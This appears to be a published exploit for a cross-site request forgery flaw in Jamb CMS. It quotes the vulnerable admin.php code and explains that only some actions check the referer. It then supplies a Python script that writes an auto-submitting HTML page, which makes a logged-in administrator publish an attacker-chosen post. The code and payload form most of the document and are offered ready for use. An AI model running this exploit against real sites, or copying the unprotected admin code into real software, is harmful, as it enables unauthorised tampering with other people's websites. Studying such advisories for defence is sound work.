Jamb – Cross-Site Request Forgery (Add a Post)
#!/usr/bin/python ######################################################### # ____ ___ __ __ # /\ _`\ __/\_ \ /'__`\ /\ \ # \ \ \/\ \ __ __ __/\_\//\ \ ___ /\ \/\ \ \_\ \ __ ___ _ __ __ __ __ __ # \ \ \ \ \ /'__`\\ \/\ \/\ \\ \ \ /'___\ \ \ \ \ /'_` \ /'__`\ /'___\`'__\'__`\\ \/\ \/\ \ # \ \ \_\ \\ __/ \ \_/ | \ \\_\ \_/\ \__/\ \ \_\ \\ \L\ \/\ __/ /\ \__/ \ \/\ __/ \ \_/ \_/ \ # \ \____/ \____\ \___/ \ \_\\____\ \____\\ \____/ \___,_\ \____\ \ \____\ \_\ \____\ \___x___/' # \/___/ \/____/\/__/ \/_//____/\/____/ \/___/ \/__,_ /\/____/ \/____/\/_/\/____/\/__//__/ # # Crew Members: bl3ck, stoke, Shellcoder_, n1md4, sys.x4sh, Ax3L, s1y, LostPassword, nex & overmind # # # Author: stoke # # # # # Jamb CMS CSRF Arbitrary add a post # # Jamb can be downloaded here: http://darkjoker.sytes.net/archives/jamb.zip # # Let's see the bugged code: # ---- snip from admin.php ----- """ if ($_GET ['act'] && is_logged () && intval ($_GET['id']) && preg_match ("|http://".$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])."|",$_SERVER['HTTP_REFERER'])) { $id=intval ($_GET['id']); switch ($_GET['act']) { case 'del': $query = "DELETE FROM articles WHERE id = '{$id}'"; mysql_query ($query) or die ("Please edit functions.php!"); $query = "DELETE FROM comments WHERE pid = '{$id}'"; mysql_query ($query); header ("Location: index.php"); die (); break; case 'edit': $newtitle = htmlentities (mysql_real_escape_string ($_POST['newtitle'])); $newart = mysql_real_escape_string ($_POST['newart']); if (!$newtitle || !$newart) { $query = "SELECT * FROM articles WHERE id = '{$id}'"; $res=mysql_query ($query); $row=mysql_fetch_row ($res); if (!$row[0]) die ("Wrong ID"); $row[1]=stripslashes($row[1]); $row[2]=stripslashes ($row[2]); echo "<form action = 'admin.php?act=edit&id={$id}' method = 'POST'>\n". "Title: <input name = 'newtitle' value = '{$row[1]}'><br>\n". "<textarea rows=30 cols=100 name='newart'>{$row[2]}</textarea><br>\n". "<input type = 'submit' value = 'Edit'><br>\n". "</form>\n"; $a=false; } else { $query = "UPDATE articles SET title='{$newtitle}', body='{$newart}' WHERE id = '{$id}'"; mysql_query ($query); header ("Location: index.php"); die (); } break; case 'delc': $query = "DELETE FROM comments WHERE id = '{$id}'"; mysql_query ($query); header ("Location: index.php"); die (); break; case 'editc': $newuname = htmlentities (mysql_real_escape_string ($_POST['newuname'])); $newcomm = htmlentities (mysql_real_escape_string ($_POST['newcomm'])); if (!$newuname || !$newcomm) { $query = "SELECT * FROM comments WHERE id = '{$id}'"; $res = mysql_query ($query); $row = mysql_fetch_row ($res); if (!$row[0]) die ("Wrong ID"); $row[2]=stripslashes ($row[2]); $row[3]=stripslashes ($row[3]); echo "<form action = 'admin.php?act=editc&id={$id}' method = 'POST'>\n". "Author: <input name = 'newuname' value = '{$row[2]}'><br>\n". "<textarea rows=10 cols=25 name = 'newcomm'>{$row[3]}</textarea><br>\n". "<input type = 'submit' value = 'Edit'><br>\n</form>\n"; $a=false; } else { $query = "UPDATE comments SET author='{$newuname}', comment='{$newcomm}' WHERE id='{$id}'"; mysql_query ($query); header ("Location: index.php"); die (); } break; default: break; } } if (is_logged () && $a) { $title = htmlentities (mysql_real_escape_string ($_POST['title'])); $art = mysql_real_escape_string ($_POST['data']); echo $title . " ".$art; if (!$title || !$art) { echo "<form method = 'POST'>\n". "Title: <input name = 'title'><br>\n". "<textarea rows=30 cols=100 name = 'data'></textarea><br>\n". "<input type = 'submit' value = 'Send'><br>\n". "</form>\n"; } else { $query = "INSERT INTO articles (title,body,date) VALUES ('{$title}','{$art}','".time()."');"; mysql_query ($query); header ("Location: index.php"); die (); } } """ # ---- end snip ---- # # How you can see, only the "act" part of code has the referer checked, this is useful (for us). # We can exploit this issue by sending a specially .html file to the admin when he/she is logged. # # I write a little script for do this from sys import argv if len(argv) < 4: print "Usage: ./exploit.py <url_with_jamb_dir> <title> <content_of_post>" quit() print ".:[Jamb CMS CSRF Arbitrary add post exploit]:.\n\n" url = argv[1] title = argv[2] content = argv[3] print "[+] Preparing the exploit" skeleton = """ <body onload="document.getElementById('1').submit()"> <form method="POST" id="1" action="%s/admin.php"> <input type="hidden" name="title" value="%s"> <input type="hidden" name="data" value="%s"> </form>""" % (url, title, content) enc = skeleton print "[+] Writing the exploit" fd = file("exploit.html", "w") fd.write(enc) fd.close() print "[+] Done, check exploit.html" |